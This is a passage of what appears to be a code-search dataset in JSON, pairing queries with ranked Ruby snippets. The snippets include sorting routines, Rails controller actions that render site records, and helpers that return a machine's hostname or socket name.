)\n \n \n elsif !right_array.empty?\n \n new_array.push( right_array.delete_at(0) )\n\n end\n end\n\n return new_array\n\nend", "title": "" }, { "docid": "b027ca78ae0772b25ac61f3aa2cc2b54", "score": "0.5947291", "text": "def stooge_sort(arr, i, j)\n\treturn [] if j < 0 \n\tif arr[i] > arr[j]\n\t\ttemp = arr[i]\n\t\tarr[i] = arr[j]\n\t\tarr[j] = temp\n\tend\n\treturn if (i + 1) >= j\n\tk = ((j - i + 1) / 3.0).ceil\n\tstooge_sort(arr, i, j - k)\n\tstooge_sort(arr, i + k, j)\n\tstooge_sort(arr, i, j - k)\n\tarr\nend", "title": "" }, { "docid": "80ee624ae1da33b4396ee02bd85ed0aa", "score": "0.59468615", "text": "def germansort(arr)\n if arr.count <= 1\n return arr\n end\n\n mid = arr.count / 2\n part_a = germansort arr.slice(0, mid)\n part_b = germansort arr.slice(mid, arr.count - mid)\n\n arr = []\n offset_a = 0\n offset_b = 0\n while offset_a < part_a.count && offset_b < part_b.count\n a = part_a[offset_a]\n b = part_b[offset_b]\n\n if a <= b\n arr << a\n offset_a += 1\n else\n arr << b\n offset_b += 1\n end\n end\n\n while offset_a < part_a.count\n arr << part_a[offset_a]\n offset_a += 1\n end\n\n while offset_b < part_b.count\n arr << part_b[offset_b]\n offset_b += 1\n end\n\n return arr\nend", "title": "" }, { "docid": "eb03fe6fe1fc7274238c20673db0e900", "score": "0.59435993", "text": "def ElementMerger1(arr)\n return arr.shift if arr.size == 1\n merged = 1.upto(arr.size-1).each_with_object([]) { |i, a| a << (arr[i] - arr [i-1]).abs }\n return ElementMerger(merged)\nend", "title": "" }, { "docid": "bdb7f5c45e7ad236269c0b80c186fe07", "score": "0.5940974", "text": "def merge(arr_1, arr_2)\n compares = arr_1.size + arr_2.size\n sorted_arr = []\n compares.times do\n if arr_1.empty? || (arr_2.first && (arr_2.first < arr_1.first))\n sorted_arr << arr_2.shift\n else\n sorted_arr << arr_1.shift\n end\n end\n sorted_arr\nend", "title": "" }, { "docid": "4f3cff9749b084f0839acfa6e7f86df7", "score": "0.59274316", "text": "def two_sum(nums)\n x = 0\n while nums.length > x\n holder = nums[x]\n y = x + 1\n while nums.length > y\n if holder + nums[y] == 0\n return [x, y]\n end\n y += 1\n end\n x += 1\n end\nend", "title": "" }, { "docid": "b627e6384c3f0de3f198ff870a826f92", "score": "0.59262496", "text": "def gnome_sort(array)\n index, last_index = 1, 2\n while index < array.length\n if array[index - 1] <= array[index]\n index, last_index = last_index, last_index + 1\n else\n array[index - 1], array[index] = array[index], array[index - 1]\n index -= 1\n index, last_index = last_index, last_index + 1 if index.zero?\n end\n end\n array\nend", "title": "" }, { "docid": "8daefa222a8002662952282a044470b0", "score": "0.59249014", "text": "def sort_r(array, sorted_array=[])\n\n if array != []\n sorted_array.push(array.min)\n array.delete_at(array.index(array.min))\n sort_r(array, sorted_array)\n end\n\n sorted_array\nend", "title": "" }, { "docid": "ae51c343871dbdfa78dd7a55b0e5578c", "score": "0.5923932", "text": "def bubble_sort!(array)\n\n compare_array = []\n\n loop do\n array.each_with_index do |num, index|\n break if (array[index + 1]) == nil\n if array[index] > array[index+1]\n array[index], array[index+1] = array[index+1], array[index]\n end\n end\n\n return array if compare_array == array\n compare_array = array.clone\n end\n array\nend", "title": "" }, { "docid": "8be06cb94b52d2d587e8a0f44678dac9", "score": "0.5921097", "text": "def sluggish_octopus(array)\n i = 0\n sorted = false\n\n until sorted\n sorted = true\n\n while i + 1 < array.length\n\n if array[i].length >= array[i+1].length\n array[i], array[i+1] = array[i+1], array[i]\n sorted = false\n end\n\n i += 1\n end\n\n end\n\n array.last\nend", "title": "" } ]
9444792d56572dbbc3bfd4abab0d468b
GET /sites/1 GET /sites/1.json
[ { "docid": "9020a763ddd42a52b6c079155ce12300", "score": "0.70891887", "text": "def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" } ]
[ { "docid": "85f624b9ca21e24fec1a59dafa0c20e1", "score": "0.7546538", "text": "def index\n @sites = Site.all\n render json: @sites\n end", "title": "" }, { "docid": "1c578611b1fd3d62e827e901deee1799", "score": "0.7469465", "text": "def index\n @sites = Site.by_user(current_user.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "973714e02bde4321d89355da6bdee930", "score": "0.7444836", "text": "def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "82b350df03e5d31ca4d092ac4cd538dd", "score": "0.742594", "text": "def show\n @site = Site.find(params[:id])\n render json: @site\n end", "title": "" }, { "docid": "1385af5def2ceb34480d6af0d6ad1696", "score": "0.738883", "text": "def index\n @api_v1_sites = Api::V1::Site.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @api_v1_sites }\n end\n end", "title": "" }, { "docid": "ca758ed9e6084932c67180fa2f28524a", "score": "0.7385594", "text": "def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sites }\n end\n end", "title": "" }, { "docid": "ca758ed9e6084932c67180fa2f28524a", "score": "0.7385594", "text": "def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sites }\n end\n end", "title": "" }, { "docid": "e052c8cf45ec95bc49b50ed05a6eb2b9", "score": "0.7331941", "text": "def index\n @user = current_user\n @sites = current_user.sites\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "cb4405722c7d7410e4ba5f004810d9e8", "score": "0.7298637", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "cb4405722c7d7410e4ba5f004810d9e8", "score": "0.7298637", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "1c96fd8fd5452762656da06f66e63f33", "score": "0.72879714", "text": "def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n #@sites = Site.all\n #@sites = @sites.to_json\n end", "title": "" }, { "docid": "2995fb51f0fe83fd1581881b37f227b0", "score": "0.72834724", "text": "def get_sites()\n exec_get(\"#{@base_path}/api/v2/customers/sites.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "c8fbb4b21b4aed490a4813806aea6bed", "score": "0.7274746", "text": "def index\n get_user\n @sites = Site.find_by_user_id(@current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "a3de2e83ae13d1a78b65add371f288c1", "score": "0.7157775", "text": "def show\n @site = Site.find(params[:id]) \n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "79626719689eb1fcdd0a706086402414", "score": "0.7066619", "text": "def index\n if GemAuth.current_user.id == \"491bbd3e-5aef-4932-8898-3bea023a729f\"\n sites = Site.all\n else\n sites = Site.where(partner_id: GemAuth.current_user.id)\n end\n render json: { sites: sites }, status: 200\n end", "title": "" }, { "docid": "3f1f92514c03ad7d41f67380c95534ba", "score": "0.70552397", "text": "def index\n if current_user.admin\n @sites = Site.all\n else\n @sites = current_user.sites\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "d616a602b63551a955d98febc6835277", "score": "0.7008785", "text": "def show\n @breadcrumb = 'read'\n @site = Site.find(params[:id])\n @apps = @site.apps\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "c02e6123d4f823b1d635f1ad0fd9e4ce", "score": "0.6959251", "text": "def index\n @sites = Site.order(\"created_at\").page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "0a1b4bdfda3a4077aff3a4c4f6ae4496", "score": "0.6955362", "text": "def get_sites\n site_records = Offcourse::DiscourseSite.all\n return render json: site_records.as_json, root: false\n end", "title": "" }, { "docid": "c68dc40b55c23d2f14e413b87edc12a5", "score": "0.6954077", "text": "def get_sites \n @sites = Site.where([\"city_id = ?\", params[:city_id]])\n\n logger.debug(\"city_id: #{params[:city_id]}\")\n\n respond_to do |format|\n format.json { render :json => @sites } \n end\n end", "title": "" }, { "docid": "bf7123363fdb54ac080688eeb056bcb7", "score": "0.69447035", "text": "def index\n respond_with @sites\n end", "title": "" }, { "docid": "a4338d4d073e86a40beeef87088b6c4d", "score": "0.6905735", "text": "def show\n @siteship = Siteship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @siteship }\n end\n end", "title": "" }, { "docid": "f1718b897ae544075668268d3b79f8da", "score": "0.6902591", "text": "def index\n \t@title = \"Sites List\"\n @navinner = \"1\"\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "5b2b4ce1da51fee3f283c7241cf7f66b", "score": "0.68949705", "text": "def default_site\n response = get 'sites.json'\n response.first\n end", "title": "" }, { "docid": "19536cb8de79d4f98e6bf1f6e6425ff8", "score": "0.68048245", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "e3c31c3420857f133a4b0195cbb7f6ae", "score": "0.6793824", "text": "def show\n @selected_site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "2793e774c1c05d9c4e1ef84bc742ca8d", "score": "0.6781461", "text": "def index\n if params[:type_id].nil? or params[:type_id].empty?\n @sites = Site.all # path: /types\n else\n @sites = Type.find(params[:type_id]).sites # path: /types/id/sites\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "b94d9343d386876803894c33cd62f91a", "score": "0.67549247", "text": "def show\n @slh_site = SlhSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @slh_site }\n end\n end", "title": "" }, { "docid": "fb6e436337c3429836a40885528fdb01", "score": "0.675393", "text": "def show\n @site_info = SiteInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_info }\n end\n end", "title": "" }, { "docid": "500d9e847f5c79d14b8b27fead17b493", "score": "0.6739862", "text": "def index\n @user_sites = UserSite.where :user_id => session[:user_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_sites }\n end\n end", "title": "" }, { "docid": "235fc962767efa7b748df1dd23560f34", "score": "0.67354876", "text": "def index\n @siteships = Siteship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @siteships }\n end\n end", "title": "" }, { "docid": "403c6d05057f78df3fc2afc4b5147fd7", "score": "0.67273754", "text": "def index\n @table_sites = Table::Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @table_sites }\n end\n end", "title": "" }, { "docid": "04d37a74e9507f37af1aba0afba89830", "score": "0.6718404", "text": "def index\n @work_sites = WorkSite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_sites }\n end\n end", "title": "" }, { "docid": "1533e3e89b5c9e063d399c511e8e16e6", "score": "0.6713446", "text": "def index\n @sites = Site.find_all_by_get_comments(true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "3af064a27621aad7ff6e2f0442e28310", "score": "0.67033565", "text": "def show\n @user_site = UserSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_site }\n end\n end", "title": "" }, { "docid": "b7b8f0cae382b90810748bf60bcf038d", "score": "0.6665745", "text": "def index\n @demandsites = Demandsite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @demandsites }\n end\n end", "title": "" }, { "docid": "8905e596bd7ce8c7f786998ade392c39", "score": "0.66395843", "text": "def show\n @web_site = WebSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_site }\n end\n end", "title": "" }, { "docid": "58c7c32958b6c5e8984cf52cd798cf24", "score": "0.6638814", "text": "def sites\n response = conn.get(\"#{base_url}/site\", {}, query_headers) \n body = JSON.parse(response.body)\n\n body.map { |b| Site.new(b) } \n rescue JSON::ParserError\n fail QueryError, \"Query Failed! HTTPStatus: #{response.status} - Response: #{body}\"\n end", "title": "" }, { "docid": "86cedd086633fa00447df95d90bd88cc", "score": "0.6618588", "text": "def get_site_data(site_id)\n @conn.get(\"/api/v1/sites/#{site_id}\")\n end", "title": "" }, { "docid": "5a1b815f3ef1bd54d3d1a419ba2ac978", "score": "0.66063726", "text": "def show\n @site = Site.find_by_subdomain!(request.subdomain)\n @stylesheets = @site.site_resources.where(:resource_type => \"css\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "a4d2491335ecaffc2126926c5a101620", "score": "0.65998733", "text": "def index\n @sites = Site.paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "d8c527150d59e6684215de036754abb8", "score": "0.6589714", "text": "def show\n @site = params[:id] =~ /^\\d+$/ ? Site.find_by_id(params[:id]) : Site.find_by_site_name(params[:id])\n return check_nil(@site)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "78b7bf99dc4028b64071ef4c8c768c47", "score": "0.6578201", "text": "def index\n if params[:client_id].blank?\n @sites = Site.all\n else\n @sites = Client.find(params[:client_id]).sites\n end\n end", "title": "" }, { "docid": "19b553c370c47babaeb28eeb5f7a2a9a", "score": "0.6575438", "text": "def show\n @slh_site_path = SlhSitePath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @slh_site_path }\n end\n end", "title": "" }, { "docid": "3debc45b496b80a4d578c08043a53f73", "score": "0.6574206", "text": "def show\n @site_resource = SiteResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_resource }\n end\n end", "title": "" }, { "docid": "afa6f975fd6a255a48eee3b5eeb4a0e0", "score": "0.65598434", "text": "def show\n @worksite = Worksite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @worksite }\n end\n end", "title": "" }, { "docid": "fe303bc81d02a44c1a90c944ace5b551", "score": "0.6554917", "text": "def index\n @user = current_user\n @site = @user.sites.find_by_subdomain!(request.subdomain)\n @pages = @site.pages.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n\n end", "title": "" }, { "docid": "0f0cb29c6e3fe3ca2216195b3a407992", "score": "0.65521234", "text": "def show\n @crawler_site = CrawlerSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crawler_site }\n end\n end", "title": "" }, { "docid": "4899e33d6c2093e0f418a13baee0c170", "score": "0.65454316", "text": "def show\n site = Site.includes(:business).find(params[:id])\n render json: { site: site.to_h }, status: 200\n end", "title": "" }, { "docid": "bb483f2b4fd0635a9277f89362d62b17", "score": "0.6533175", "text": "def index\n @websites = @website_user.websites\n render json: { websites: @websites }\n end", "title": "" }, { "docid": "c619cc4a7eee7e5e388e53efe998d76d", "score": "0.6510057", "text": "def first_site_id\n res = @conn.get('/api/v1/sites')\n res['sites'].first['id']\n end", "title": "" }, { "docid": "f9273fdc8949f64308988b07af07ea9e", "score": "0.64671236", "text": "def fetch_sites_data\n response = URI.open(DATA_URL).read\n JSON.load(response)[\"values\"]\n end", "title": "" }, { "docid": "9670e6dddf3e1782e2a1d4b2c21c45a4", "score": "0.6456409", "text": "def show\n @website = Website.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @website }\n end\n end", "title": "" }, { "docid": "819afd414aa0720c7fe0df0a6e9aa6d2", "score": "0.6442912", "text": "def index\n @sites = current_user.sites.all\n @site_posts = SitePost.where(:user_id => current_user.id).order(\"updated_at DESC\").paginate(:page => params[:page] || 1, :per_page => 20)\n @site_comments = SiteComment.where(:site_id => @sites.map(&:id)).order(\"updated_at DESC\").limit(20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "3db2d5a8694f336e78cc2c46125f9d09", "score": "0.6436524", "text": "def index\n respond_to do |format|\n format.json { render json: {data: current_user.web_sites.map(&:in_json)}}\n end\n end", "title": "" }, { "docid": "b47e8e426f956b143e414992d34e0781", "score": "0.64316016", "text": "def show\n @url = Url.find(params[:id])\n @site_url = request.protocol + request.host_with_port\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @url }\n end\n end", "title": "" }, { "docid": "25de7e1b7b2237cadff44e871f5aaea1", "score": "0.6423332", "text": "def index\n respond_with Site.all\n end", "title": "" }, { "docid": "ce6f2114e1a670d270e6927fe66f54b0", "score": "0.6416071", "text": "def show\n @table_site = Table::Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @table_site }\n end\n end", "title": "" }, { "docid": "456717deb0db330df9bb62c81a074c78", "score": "0.6414973", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "456717deb0db330df9bb62c81a074c78", "score": "0.6414973", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "456717deb0db330df9bb62c81a074c78", "score": "0.6414973", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "456717deb0db330df9bb62c81a074c78", "score": "0.6414973", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "456717deb0db330df9bb62c81a074c78", "score": "0.6414973", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "e1a5577b5c37c42c41cfaf327f7d294c", "score": "0.63996243", "text": "def index\n @site = Site.first\n end", "title": "" }, { "docid": "0c07626b903771017232928feaa70fc6", "score": "0.6390597", "text": "def show\n @site = Site.find(params[:site_id])\n @environment = @site.environments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @environment }\n end\n end", "title": "" }, { "docid": "e4b348f8151da5fb633fbfda601c9508", "score": "0.63820904", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_site }\n end\n end", "title": "" }, { "docid": "315968db7d70367c85293a6352b96a30", "score": "0.6376302", "text": "def index\n @sites = Site.all\n @sites.reject!{|s| s.hit.study.hidden == true} if !admin? and !lab_user?\n respond_to do |format|\n format.html # index.html.erb\n format.text {\n txt = [\"SPalmS ID\", \"Uniprot AC\", 'Isoform', \"Position\"].join(\"\\t\") + \"\\n\";\n txt += @sites.map{|s| [\"SPalmS#{s.id}\", s.hit.protein.up_ac, ((s.hit.isoform) ? s.hit.isoform.isoform : ((s.hit.protein.isoforms.select{|e| e.latest_version and e.main}.first) ? s.hit.protein.isoforms.select{|e| e.latest_version and e.main}.first.isoform : 'NA' )), s.pos].join(\"\\t\")}.join(\"\\n\")\n render text: txt\n }\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "ebe928aa5e65a1bcc8ab6cc88ac95503", "score": "0.6374303", "text": "def new\n @site = current_user.sites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "ebe928aa5e65a1bcc8ab6cc88ac95503", "score": "0.6374303", "text": "def new\n @site = current_user.sites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "74665b13b221977d7e1d40ae350ab608", "score": "0.63676", "text": "def index\n if params[:site_id]\n @site = current_user.sites.find params[:site_id]\n respond_with @site.versions\n else\n respond_with @versions\n end\n end", "title": "" }, { "docid": "8d3218f6eacc882146339c46d37d43c0", "score": "0.6363283", "text": "def site(options = {})\n @site.get(\"/1.1/site.json\", options) do |chunk|\n yield(chunk)\n end\n end", "title": "" }, { "docid": "a56a3c4bb04e48fe192194c281862544", "score": "0.6353535", "text": "def show\n @history_site = HistorySite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @history_site }\n end\n end", "title": "" }, { "docid": "f12890dbcb9fa52cb7780f8501ea9cc0", "score": "0.63334984", "text": "def show\n @site_environment = SiteEnvironment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_environment }\n end\n end", "title": "" }, { "docid": "dcc004e9e992266071ed79522ce5eff2", "score": "0.6331807", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "1e67fffe306c45c0eefdd645e76a7ada", "score": "0.63101715", "text": "def sites\n @sites ||= SitesApi.new config\n end", "title": "" }, { "docid": "365287aefcd6414283ba2e3f96ad4842", "score": "0.63086647", "text": "def show\n @demandsite = Demandsite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @demandsite }\n end\n end", "title": "" }, { "docid": "371891c26b3a83d835f51b88d0ee628f", "score": "0.6304052", "text": "def index\n @sites = Site.all\n end", "title": "" }, { "docid": "add72ce560de0253a2a74e25a0f57de7", "score": "0.6294437", "text": "def index\n @sites = current_user.sites.all\n @site = current_user.sites.new\n \n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites, :only => [:_id, :name, :url, :description, :supporters, :tags, :count], :methods => ['votes_count'] }\n #format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "052e3b7ebc53f6024defb58dbe37a6ff", "score": "0.6287044", "text": "def show\n @reference_site = ReferenceSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reference_site }\n end\n end", "title": "" }, { "docid": "b0ce3bf9c9fbb6ead022443b3cb693e9", "score": "0.6271283", "text": "def show\n @site = current_site\n @page = @site.pages.first\n\n respond_to do |format|\n format.html { render collection: @page }\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "22a72c1d9f12a421f415790d08fcff23", "score": "0.62708944", "text": "def get_site_by_id(id)\n if id.nil?\n raise LinkemperorCustomerException.new('id should not be empty')\n end\n exec_get(\"#{@base_path}/api/v2/customers/sites/#{id}.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "9113259cffc05febb037c65d52519558", "score": "0.6217951", "text": "def index\n @sites = current_user.sites\n end", "title": "" }, { "docid": "9113259cffc05febb037c65d52519558", "score": "0.6217951", "text": "def index\n @sites = current_user.sites\n end", "title": "" }, { "docid": "9113259cffc05febb037c65d52519558", "score": "0.6217951", "text": "def index\n @sites = current_user.sites\n end", "title": "" }, { "docid": "f88fddad58c048359c0034ac044cccc0", "score": "0.62016046", "text": "def index\n @sites = @current_user.sites.all\n end", "title": "" }, { "docid": "25215e37205b2497374ba3130dd12588", "score": "0.61998487", "text": "def show\n\n @site = Site.find_by_subdomain!(request.subdomain)\n if user_signed_in?\n @role = @site.memberships.find_by_user_id(current_user.id).role\n end\n @posts = @site.posts.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "5c6f109a17f30bd14f6165e3fcc03833", "score": "0.6181815", "text": "def index\n @sites = current_user.sites.all\n end", "title": "" }, { "docid": "b457fcc465aec83c4f9180fd459c7a03", "score": "0.6179793", "text": "def new\n @site = Site.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "4e44f647d3a1f64b343dc9d03ebb68a0", "score": "0.61790544", "text": "def show\n @site_setting = ::SiteSettings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_setting }\n end\n end", "title": "" }, { "docid": "ec2051c63b6d2f53c55285331d93dadb", "score": "0.61776614", "text": "def show\n @site_configuration = SiteConfiguration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_configuration }\n end\n end", "title": "" }, { "docid": "96cb1835a5911cdabd744f27572996a5", "score": "0.61602724", "text": "def index\n @sites = Site.find(:all, :order => \"name\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end", "title": "" }, { "docid": "c993cf9e95a717d47d7e2f5e6a51edeb", "score": "0.61573464", "text": "def show\n @citable_site = CitableSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @citable_site }\n end\n end", "title": "" }, { "docid": "e46f67c868c2137da908e19cc6888bad", "score": "0.61542314", "text": "def show\n \tunless params[:id] != nil\n\t\t\t@site = Site.find_by_domain(request.domain)\n\t\telse\n\t\t\t@site = Site.find(params[:id])\n\t\tend\n\t\t@classifieds = Classified.all\n\t @subscriber = Subscriber.new\n\t @meta_title = @site.meta_title\n\t @meta_keywords = @site.meta_keywords\n\t @meta_description = @site.meta_description\n\t @site_results = FeedEntry.where(site_id: @site.id).order(\"created_at DESC\")\n\t @web_results = @site_results.page(params[:page]).per_page(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" } ]
36713eed5ec2e40531de41351a42a9c6
the name of the monitor socket we use for the running KVM, based on the Machine's name.
[ { "docid": "2352af28122d08234d7592bf4d63dca5", "score": "0.651631", "text": "def monitorfile\n \"/machines/.#{@machine.name}.monitor\"\n end", "title": "" } ]
[ { "docid": "151b3d53e2fe2630780fe498d7746756", "score": "0.6673005", "text": "def host_name\n return @config['os']['host']['name']\n end", "title": "" }, { "docid": "c25764cd45117fdc83ae1cb13c825503", "score": "0.6669566", "text": "def find_socket\n # ps axf | grep qemu-system | sed 's|.*qemu-system-x86_64 \\(.*\\)$|g'\n end", "title": "" }, { "docid": "bf44bf4358009af8d487b5eb336669cd", "score": "0.66149324", "text": "def machine_name\n `hostname`.strip\n end", "title": "" }, { "docid": "16f597ad57b1a7ad9e5d2bb5f1aee403", "score": "0.66093045", "text": "def hostname\n @status.current[:monit][:server][:localhostname]\n end", "title": "" }, { "docid": "c1b20b7a7b447e0c0843133f51fd77c8", "score": "0.6534263", "text": "def socket_hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "bc953b77a617765ec1d1ab24f48529da", "score": "0.6502162", "text": "def os_name\n RbConfig::CONFIG['host']\n end", "title": "" }, { "docid": "3c31d32aec6e78c4574c5794a777c24c", "score": "0.64882", "text": "def name\n return @name unless @name.nil?\n \"host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"pid:#{Process.pid}\"\n end", "title": "" }, { "docid": "8c1c2acbf335af134950ea853048557e", "score": "0.64483833", "text": "def machine\n @status.current[:monit][:platform][:machine]\n end", "title": "" }, { "docid": "890eec3343f38006f5a2848801ebb067", "score": "0.6387489", "text": "def os_name\n RbConfig::CONFIG['host'.freeze]\n end", "title": "" }, { "docid": "0c7e7252a92dc1ab00390d67269331a5", "score": "0.6385035", "text": "def sockets\n File.readlines('/proc/cpuinfo').grep(/^physical id/).last.split(' ')[3].to_i\n end", "title": "" }, { "docid": "4e3aa6a2e46bba7599cc4d411acdf46d", "score": "0.6381849", "text": "def machine_name\n machine_name = 'unknown'\n if RUBY_PLATFORM =~ /win32/\n machine_name = ENV['COMPUTERNAME']\n elsif RUBY_PLATFORM =~ /linux/ || RUBY_PLATFORM =~ /darwin/\n machine_name = `/bin/hostname`.chomp\n end\n machine_name\n end", "title": "" }, { "docid": "469b6885fcd27a3d5df6f672cb88b39b", "score": "0.63765323", "text": "def host_name\n Socket.gethostname\n end", "title": "" }, { "docid": "244e6e872fc6dcb7832f669803e51ef6", "score": "0.6311654", "text": "def get_sockname\n io.getsockname\n end", "title": "" }, { "docid": "9345e34925f4e1eda375baa3be22f1a3", "score": "0.63025445", "text": "def name\n return @name unless @name.blank?\n \"pid:#{Process.pid} host:#{Socket.gethostname}\" rescue \"pid:#{Process.pid}\"\n end", "title": "" }, { "docid": "cdb15fbd80d838b921315a96136d4311", "score": "0.62993246", "text": "def hostname() \"immunity_system_vagrant\" end", "title": "" }, { "docid": "90a7e92369c2001d1d3196eb5a8b1ec5", "score": "0.6290119", "text": "def name\n NSHost.currentHost.localizedName\n end", "title": "" }, { "docid": "eef787b84c9827d5d611c00f0c630310", "score": "0.62682456", "text": "def machine\n\t\t\t\t@@machine ||= LinuxStat::Uname.machine\n\t\t\tend", "title": "" }, { "docid": "43bc5a0411ebaee5e31765923a847513", "score": "0.6261637", "text": "def local_name\n Socket.gethostname\n end", "title": "" }, { "docid": "01aee219c81cbd71cd1c95027d9698eb", "score": "0.62544304", "text": "def name\n \"thin server (#{@backend})\" + (tag ? \" [#{tag}]\" : \"\")\n end", "title": "" }, { "docid": "1776170b8f1ceb6e170ffc984cae55c3", "score": "0.62500536", "text": "def get_vm_name(vm_name)\n vm_name ||= Socket.gethostname\n vm_name\n rescue StandardError => e\n @log.error 'Failed to obtain vm name: ', error: e\n end", "title": "" }, { "docid": "b0897ad4eee324f6f4642f04dce3f0e4", "score": "0.62360346", "text": "def name\n return @name unless @name.nil?\n \"#{@name_prefix}host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"#{@name_prefix}pid:#{Process.pid}\"\n end", "title": "" }, { "docid": "b0897ad4eee324f6f4642f04dce3f0e4", "score": "0.62360346", "text": "def name\n return @name unless @name.nil?\n \"#{@name_prefix}host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"#{@name_prefix}pid:#{Process.pid}\"\n end", "title": "" }, { "docid": "b0897ad4eee324f6f4642f04dce3f0e4", "score": "0.62360346", "text": "def name\n return @name unless @name.nil?\n \"#{@name_prefix}host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"#{@name_prefix}pid:#{Process.pid}\"\n end", "title": "" }, { 